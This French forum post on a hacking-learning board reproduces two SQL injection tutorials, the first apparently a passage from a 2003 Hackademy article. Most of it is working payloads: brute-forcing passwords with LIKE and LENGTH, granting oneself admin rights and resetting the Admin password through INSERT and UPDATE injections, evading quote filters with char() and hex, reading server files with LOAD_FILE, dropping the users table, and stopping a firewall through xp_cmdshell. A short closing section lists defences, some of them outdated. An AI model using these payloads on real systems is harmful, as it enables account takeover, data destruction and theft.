SELECT * FROM table WHERE msg LIKE '%hop'
  

va extraire tout les éléments de la table 'table', où le champ 'msg' termine part 'hop'.

SELECT * FROM table WHERE msg LIKE 'hop%'
  

va extraire tout les éléments de la table 'table', où le champ 'msg' commence part 'hop'.

SELECT * FROM table WHERE msg LIKE '%hop%'
  

va extraire tout les éléments de la table 'table', où le champ 'msg' contient 'hop'.

SELECT * FROM table WHERE msg LIKE 'h%p'
  

va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p.

SELECT * FROM table WHERE msg LIKE 'h_p'
  

va extraire tout les éléments de la table 'table', où le champ 'msg' commence par h et termine part p, et contient
un seul caractère à l'endroit du _.
Passons maintenant à l'injection. Le LIKE peut nous permettre de 'brute forcer' des informations de la base de donnée.
Par exemple, si nous voulons savoir si la première lettre du mot de passe de l'utilisateur Bob, on pourrait (entre autre) donner comme valeur à $login : Bob' AND password LIKE 'a%'#, ce qui donnerai la requête :

SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''
  

Si on rentre dans le compte de Bob, c'est que son mot de passe commence bien par a. Sinon, il nous suffit de tenter une autre première lettre... puis quand elle sera trouvée, de recommencer avec la deuxième, la troisième, la quatrième lettre etc...
L'injection SQL est parfois plus facile si elle est appliquée en deux temps, grâce à l'utilisation de ses connaissances SQL. Car la connaissance de l'injection SQL commence avec la connaissance du langage SQL !
Par exemple, un problème qui se pose si on veut effectuer ce brute force, c'est qu'on ne sait pas la longueur du mot de passe à cracker. On peut donc être arrivé au bout du mot de passe que le programme continuera à le chercher.
Pour ça une solution est de faire un premier test avec la fonction LENGTH().
Si on donne comme valeur à $login : Bob' AND LENGTH(password)=6#, on obtiendra la requête :

SELECT uid FROM membres WHERE login='Bob' AND LENGTH(password)=6#' AND password=''
  

Si le mot de passe de Bob est long de 6 caractères, on se retrouvera dans son compte.

Reprenons la requête de l'intro :

$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY name";
  

pour parler un peu du ORDER BY. Son utilité n'est pas extraordinaire, mais il faut quand même en parler.
Cette requête donc permet d'extraire les informations des utilisateurs dont le pseudo contient la valeur de $search.
J'ai legerement modifié la requête de début pour qu'on ne puisse pas utiliser très efficacement le INTO OUTFILE.
Dans l'intro j'ai évoqué l'idée de mettre comme valeur à $search : %' ORDER BY uid# ce qui donne la requête :

SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name
  

et nous affiche tout les membres classés par ordre d'inscription. Cela pourrait être utile pour repérer l'administrateur, qui est sûrement le premier inscrit.
Il est parfois possible de les classer par niveau de modération (s'il y a un champ type user_level), par mot de passe, en donnant à $search la valeur : %' ORDER BY password#, par longueur de mot de passe (%' ORDER BY LENGTH(password)#), etc...
C'est d'autant plus interessant pour faire des comparaisons, c'est-à-dire dans ce cas-ci, si on peut nous même nous inscrire en tant que membre, et connaissant notre mot de passe, on peut le comparer grâce à sa place aux mots de passe des autres.
Dans certains scripts, c'est plus simple, la requête est de type :

$req = "SELECT email, website FROM membres WHERE name LIKE '%$search%' ORDER BY $orderby";
  

(comme dans PHP-Nuke) il suffit alors de changer le $orderby.
Note : ORDER BY *** affiche le résultat classé par champ *** dans l'ordre croissant (0->9, a->z,...). Si on place le mot 'DESC' à la fin de la requête ([...] ORDER BY champ DESC), ça sera dans l'ordre décroissant.



INSERT :

Voyons maintenant les injections SQL liées à la requête INSERT, qui permet donc d'ajouter de nouveaux enregistrements à une table. L'utilisation utile d'injection SQL dans une requête INSERT est plus rare, mais existe néanmoins.
Si on prend l'exemple de l'inscription d'un membre, ce qui est le plus courrant, on peut imaginer d'abord une table créée de cette façon :

CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
  

Il y a donc dans cette table un id utilisateur, comme clef primaire qui s'auto incrémente, le login, mot de passe, nom, email et le niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :

$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
  

Quatre variables sont modifiables ici, donc quatre possibilités d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on lui donne comme valeur : ','3')# , la requête deviendra :

INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
  

et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt si la table avait été créée de cette façon :

CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
)
  

Le changement est qu'userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :

$query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
  

Pour modifier son niveau d'utilisateur, il suffira d'entrer dans une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :

INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
  

Et le nouvel utilisateur sera créé avec des droits administrateurs.

Imaginons maintenant que l'id soit un chaîne de caractères créée aléatoirement. La création de la table se ferait alors de la sorte :

CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
  

La requête SQL pourrait alors être du type :

$query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
  

Et l'injection SQL du même type que pour la première requête. On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit administrateur à l'utilisateur créé, avec la requête :

INSERT INTO membres VALUES ('[ID]','[LOGIN]','[PASS]','[NOM]','a@a.a','3')#','1')
  


UPDATE :

Voyons maintenant les requêtes UPDATE, qui sont moins répandues que les SELECT, plus que les INSERT, et qui permettent de mettre à jour les champs d'un enregistrement dans la table d'une base de données.
Reprenons pour le premier exemple la table :

CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
  

qui est donc une table créée pour une partie membres.
Un endroit où on pourrait trouver une requête UPDATE dans une partie membre est le changement des informations d'un membre, la modification de son profil utilisateur. Ici on pourrait y changer son mot de passe, son nom et son email.
La requête SQL serait alors du type :

$sql = "UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'";
  

Imaginons d'abord que l'$id ne soit pas modifiable par l'utilisateur - ce qui serait un problème de sécurité qui n'est plus lié à l'injection SQL.
Une première possibilité ici serait de modifier un autre champ que les champs password, nom et email, par exemple le champ userlevel, qui, je le rappelle, contient le niveau de modération de l'utilisateur.
Ceci serait possible en donnant par exemple à $nom la valeur : ',userlevel='3 ce qui donnerai comme requête SQL :

UPDATE membres SET password='[PASS]',nom='',userlevel='3',email='[EMAIL]' WHERE id='[ID]'
  

De cette façon il est donc possible de modifier n'importe que champ de votre enregistrement dans la table.
Mais il y a mieux. On peut également, si cette injection SQL est possible, opérer une autre injection qui, en plus de pouvoir changer n'importe quel champ d'un enregistrement, pourrait changer les champs de n'importe quel enregistrement !
En effet imaginons que l'on donne à $pass la valeur : [nouveaupass]' WHERE nom='Admin'#. La requête deviendrait alors :

UPDATE membres SET password='[nouveaupass]' WHERE nom='Admin'#',nom='[NOM]',email='[EMAIL]' WHERE id='[ID]'
  

le SQL exécuté (donc sans les commentaires) serait :

UPDATE membres SET password='[nouveaupass]' WHERE nom='Admin'
  

et le mot de passe du compte dont le nom est "Admin" deviendrait [nouveaupass].

Dernière possibilité pour arriver au même résultat : si l'$id est modifiable par l'utilisateur, on peut lui donner la valeur : ' OR name='Admin, ce qui donnerait la requête :

UPDATE membres SET password='[PASS]',nom='[NOM]',email='[EMAIL]' WHERE id='' OR name='Admin'
  

ce qui, encore une fois, changerait les informations du compte d'Admin et nom pas de notre propre compte.

Voilà les grandes lignes. Pour voir un peu plus en profondeur, je vais changer d'exemple, et prendre la table créée de la manière suivante :

CREATE TABLE news (
idnews int(10) NOT NULL auto_increment,
title varchar(50),
author varchar(20),
news text,
Votes int(5),
score int(15),
PRIMARY KEY (idnews)
)
  

qui est donc une table déstinée à contenir des news, avec un titre, un auteur, bien sûr un contenu, mais qui permettra aussi de voter pour chaque news, avec un nombre de votants et un score.
Pour voter, la requête sera du style :

$sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";
  

Je prends cet exemple car c'est via une requête de ce style que j'ai approfondi ma connaissance de l'injection SQL dans les requêtes UPDATE, plus précisemment dans PHP-Nuke, et j'ai retrouvé la faille dans d'autres services (annuaires de liens,...).
Ici on ne va pas toucher à la variable $id; sa modification ne nous servirait à rien, puisqu'on peut voter pour chacune des news.
On voit donc que la requête incrémente "Votes", qui est le nombre de votants, et ajoute à "score" le nouveau score choisi.
On remarque d'abord qu'en complétant correctement la requête, on peut modifier n'importe quel champ de la news choisie.
Par exemple en donnant à $id le valeur 12 et à $note la valeur : 3, title='hop' on obtiendra la requête :

UPDATE news SET Votes=Votes+1, score=score+3, title='hop' WHERE idnews='12'
  

qui ajoutera un votant, augmentera le score de 3 points et changera le titre de la news n° 12 en 'hop'.

Un point plus intéressant dans cette requête est qu'une injection peut être effectuée, que magic_quotes_gpc soit sur ON OU sur OFF, ce qui est le principal problème dans l'injection SQL avec PHP.
En effet la variable modifiable $note n'est entourée ni de guillements ni d'apastrophes.
On peut donc changer le but premier de la requête, sans utiliser de ' ou de ", et donc sans avoir de problèmes avec les filtres de la configuration PHP.
Un exemple d'injection sans ' ni " : on donne à $note la valeur : 3,Votes=0 pour avoir la requête :

UPDATE news SET Votes=Votes+1, score=score+3,Votes=0 WHERE idnews='12'
  

et remettre le nombre de votants à 0.
Evidemment, on ne peut changer (à première vue) que les chiffres, car pour définir un char, varchar, text,... il faut utiliser des ' ou " (title='hop').
C'est là qu'interviennent les fonctions de conversions de chaînes de caractères. Par exemple, la fonction MySQL char(), qui renvoie la valeur qui correspond aux chiffres donnés en ASCII. Donc char(97,98,99) vaudra "abc". Il est donc possible d'insérer du texte sans être bloqué par le magic_quotes_gpc. Par exemple pour changer le titre en "hop", on pourra donner à $note la valeur 3, title=char(104,111,112), ce qui donnera la requête :
UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews='12'
  
On peut avoir facilement la valeur hexadecimale via SQL lui-même en utilisant la fonction ASCII() ou ORD(). ASCII('h') et ORD('h') renvoient 104.
Il est également possible de jouer avec les caractères sans ' ou " grâce au fait que MySQL reconnait directement les caractères hexadécimaux et les convertit. Par exemple 0x616263 est compris comme "abc". Donc si on atttribue à $note la valeur 3, title=0x616263 , le titre sera changé en "abc" car la requête effectuée sera :
UPDATE news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE idnews='12'
  
Enfin, une troisième possibilité est l'utilisation de la fonction CONV(), qui convertit d'une base à l'autre (base minimum 2, maximum 36).
Par exemple on pourrait donner à $note la valeur 3, title=CONV(10202210,3,16), 3, title=CONV(5274,8,16), etc... pour transformer le titre en "abc". Ce qui est pratique avec cette fonction, c'est que pour savoir la valeur à donner au premier argument, il suffit de convertir dans l'autre sens, c'est-à-dire d'exécuter SELECT CONV("abc",16,3), CONV("abc",16,
.


Quelques informations peuvent également être extraites grâce aux fonctions DATABASE() et USER() ( ou SYSTEM_USER() ou CURRENT_USER() ou SESSION_USER() ) qui renvoient respectivement le nom de la base courante et le nom de l'utilisateur courant. Ainsi on aura le nom de la base de donnée utilisée dans le titre en attribuant comme valeur à $note : 3, title=DATABASE(), ce qui donne la requête :
UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE idnews='12'
  


Parlons enfin d'une fonction extrêmement intéressante, mais qui s'applique rarement : la fonction LOAD_FILE().
Comme le dit son nom, elle charge un fichier donné en argument. Plus précisément elle lit et retourne comme une chaîne le contenu du fichier donné en argument.
Il y a plusieurs conditions à son utilisation :
- Le fichier doit être sur le serveur
- Son path complet doit être spécifié
- On doit avoir le privilège FILE
- Le fichier doit être lisible par tous
- Le fichier doit être plus petit que le max_allowed_packet

Si toutes ces conditions sont remplies, on peut enfin charger des fichiers dans la base de données. Le champ pouvant contenir le plus de caractères est le champ "news" (de type text), c'est donc celui-ci que nous allons utiliser. Pour copier par exemple le fichier /tmp/picture (je reprend l'exemple de MySQL pour ne pas utiliser le classique /etc/passwd) dans le champ "news" de la news 12, on peut attribuer à $note la valeur 3, news=LOAD_FILE('/tmp/picture') ce qui donnera la requête :
UPDATE news SET Votes=Votes+1, score=score+3, news=LOAD_FILE('/tmp/picture') WHERE idnews='12'
  


Conclusion/Credit :

Voilà déjà pas mal de choses qui peuvent se faire avec l'injection SQL... ça change de l'éternel 1=1 qu'on voit partout dans les textes à ce sujet.
Il manque certainement certaines choses, comme par exemple l'UNION, ajouté dans la version 4.0.0 de MySQL, je ferais donc peut-être des rajouts par la suite à ce texte. Si c'est le cas je les mentionnerais ici, avec la date correspondante.
Pour tout commentaire, questions,... vous pouvez me mailer à leseulfrog@homail.com Mes tutoriels sont disponibles sur http://www.phpsecure.info/v2/tutos/frog/ .
Ce texte a été achevé le jeudi 3 juillet 2003 (et il pleut !).
Texte publié dans " The Hackademy Manuel " #5


tuto 4

Attaques par injection SQL 
 
 
Introduction
Qu'es qu'une attaque de type sql injection ?
L'attaque en question
Démonstration d'autres types d'attaques
Comment se protéger des attaques par injection sql ?
Conclusion
 
Introduction
Suite aux nombreuses vulnerabilites de type "sql injection" que l'on a pu rencontrer dans le passe et que l'on retrouve encore et toujours aujourd'hui, j'ai decide de vous ecrire un petit article pour presenter ce qu'est vraiment une injection sql d'une part, mais nous verrons aussi comment un attaquant peut les utiliser et comment s'en proteger le mieux possible.

Ce type d'attaque vise les serveurs web et plus particulierement les erreurs de programmation au niveau des scripts asp, cgi, php, etc. Ces memes scripts executant des requetes sql... Ce sujet, comme nous l'avons vu auparavant, est assez ancien mais on peut dire qu'il est toujours reste d'actualite ne serait-ce que suite à l'utilisation abondante du asp et du php. Aussi, pas mal d'articles sur ce sujet ont prïvïlegie celui-ci et il est bien entendu que certains n'y verront, pour sur, que le cote rebarbatif. Mais l'important pour nous, en ecrivant cet article est d'expliquer cela par nos propres mots de facon à aider les d�utants, et d'adapter ce type de vulnerabilites à l'actualite.
Qu'est qu'une attaque de type sql injection ?
Comme vous le savez certainement SQL (Structured Query Language) est un language de base de donnees, celles-ci representant le coeur de beaucoup d'applications web de nos jours. C'est un language base sur des requetes utilisant des instructions telles que INSERT (insertion de donnees dans la base de donnees), DELETE (pour en supprimer), UPDATE (pour en mettre à jour), SELECT (pour en selectionner et lire), et bien d'autres. Mais cette simplicite en fait aussi une proie facile aux detections de failles.

Exemple de requete :

SELECT * FROM users WHERE login = 'damien';

Cette requete aura pour effet de selectionner l'utilisateur (extrait de la table "users") dont le login est "damien". "SELECT *" signifiant qu'on selectionne tous les champs de cette table mais peu importe pour le moment.

Continuons sur cet exemple pour bien vous faire comprendre ce qu'est une attaque de type sql injection (Mon exemple n'etant pas du pur hasard puisqu'une attaque de ce type dans le but de recuperer un mot de passe ou de s'identifier est certainement la plus courante). Maintenant imaginons que ma page contienne un formulaire d'identification utilisateur de ce type :





Login :
Password :



La requete associee à ce formulaire permettant de verifier que les login / password entres sont valides par rapport à notre base de donnees serait :

mysql_query("SELECT * FROM users WHERE utilisateur = '$login' AND motdepasse = '$password'");

Cette requete aurait pour effet de selectionner l'utilisateur en question si le nom d'utilisateur ET le mot de passe entres sont dans notre base de donnees. Si l'un des deux est errones la requete ne renverra aucun resultat.
L'attaque en question Sachant que sur mon exemple la variable $login contient ce que j'ai tape dans mon premier champ de texte et que la variable $password contient de meme ce que j'ai tape dans le deuxieme champ de texte (mot de passe), imaginez ce que cela pourrait donner si j'entrais ceci dans le premier champ de texte






Si nous allons voir ce qui se passe du cote du code, ma requete deviendrait alors :

mysql_query("SELECT * FROM users WHERE utilisateur = '' OR 1=1"); //' AND motdepasse = '$password'");

Et elle permettrait certainement d'identifier car la requete est vraie si un utilisateur "" existe OU si 1=1. Comme il est evident que 1 est egal à 1, elle serait vraie. Le signe "//" signifiant un commentaire en php, le reste serait rendu inutile. il est vrai que ma requete est un peu tiree par les cheveux, mais imaginez maintenant que je sache qu'un certain damien est possesseur des droits administrateurs et que je rentre ceci dans mon champ de texte :






il selectionnera alors l'utilisateur damien sans se preoccuper du mot de passe en suivant le meme raisonnement que precedemment. .
Demonstration d'autres types d'attaques
Dans notre exemple precedent, nous ne faisions que nous identifier et nous aurions tres bien pu recuperer un mot de passe de la meme facon. Mais ce n'est pas tout ce qu'on pourrait faire avec une injection sql. Maintenant que vous avez compris comment vous "fabriquer" vos propres requetes, voici quelques exemples de requetes venant à effectuer des modifications sur les donnees ou meme le systeme cette fois-ci.

login : ' OR 1=1"); drop table users;

password : n'importe lequel

Celle-ci supprimerait completement la table users.

login : '; exec master..xp_cmdshell 'net stop firewall'; --

password : n'importe lequel

Sachant que je suis repasse dans une syntaxe sql utilisee sur asp, cette requete ci-dessus aurait pour effet d'executer une commande shell "net stop firewall" qui stopperait l'execution du service "firewall". Et puisque le serveur sql est lance en tant que SYSTEM par defaut, nous aurions tout à fait ce droit d'arreter des services.

login : '; shutdown with nowait; --

password : n'importe lequel

admin' --

admin' #

admin'/*

' or 1=1-- /////celle-la m'a permis de résoudre un challenge, merci à elle ................

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

Mais ce ne sont que quelques exemples car les possibilites sont nombreuses.
Comment se proteger des attaques par injection sql ?
Comme vous pouvez vous en douter, le seul moyen de prevenir ces attaques se trouve au niveau de la programmation. Si celle-ci est bien realisee, elles ne sont normalement plus possibles. Alors...quelles sont les rïsques de programmation à prendre en compte ?

- Tout d'abord, evitez d'utiliser un compte ayant tous les pouvoirs pour l'execution de votre serveur sql si possible.

- Supprimer les fonctions que vous n'utilisez pas telle que celle que nous avons vu : master..xp_cmdshell, et de maniere generale toutes celles commencant par "master..xp".

- verifiez les entrees utilisateurs telles que les champs de texte. verifiez aussi que les nombres attendus soient bien des nombres avec une fonction telle que IsNumeric() par exemple.

- verifiez aussi les parametres des URL qui sont ajoutables.

- Utilisez les caracteres et fonctions d'echappement telles que AddStripSlashes() en php, voir les caracteristiques de la fonction et en general les documentations de vos languages de programmation web pour plus d'infos. Cela empechera par exemple l'entree utilisateur du caractere ' en l'echappant à l'aide d'un slash le precedant.

- Vous pouvez aussi empecher d'une maniere generale certaines sequences d'entrees utilisateurs telles que ";", "insert", "select", "//", "--", etc.

- Attention aussi à limiter le nombre de caracteres qu'un utilisateur peut entrer dans un champ de texte, car ceci peut fort bien lui compliquer la tache.

- Pour finir, attention à ce que vous mettez dans les cookies, car un mot de passe (meme crypter en md5) est vite trouvé par une attaque de ce type. Et par la suite un remplacement de cette valeur dans le cookie ïncite l'attaquant à une attaque de type brute force ; c'est donc un joli cadeau.
Conclusion
Nous avons pu voir differents types d'attaques realisables par injection sql ainsi que des moyens de les prevenir, en esperant que votre vision de la programmation sql aura ete amelioree coté securite et que vous pourrez vous-memes essayer de remïedier à ces failles dans vos applications web si besoin est puisque c'est le but.

Volontairement je ne me suis pas attarde sur l'ajout de parametres dans une URL, qui peut provoquer une injection sql de la meme facon car le principe est le meme, sauf que les formulaires vulnerables seront des formulaires les plus souvent caches cette fois-ci.

Voila..souvenez vous qu'aucune application web utilisant une base de donnees n'est totalement securisee si vous ne vous en preoccupez pas.


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 15:27 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com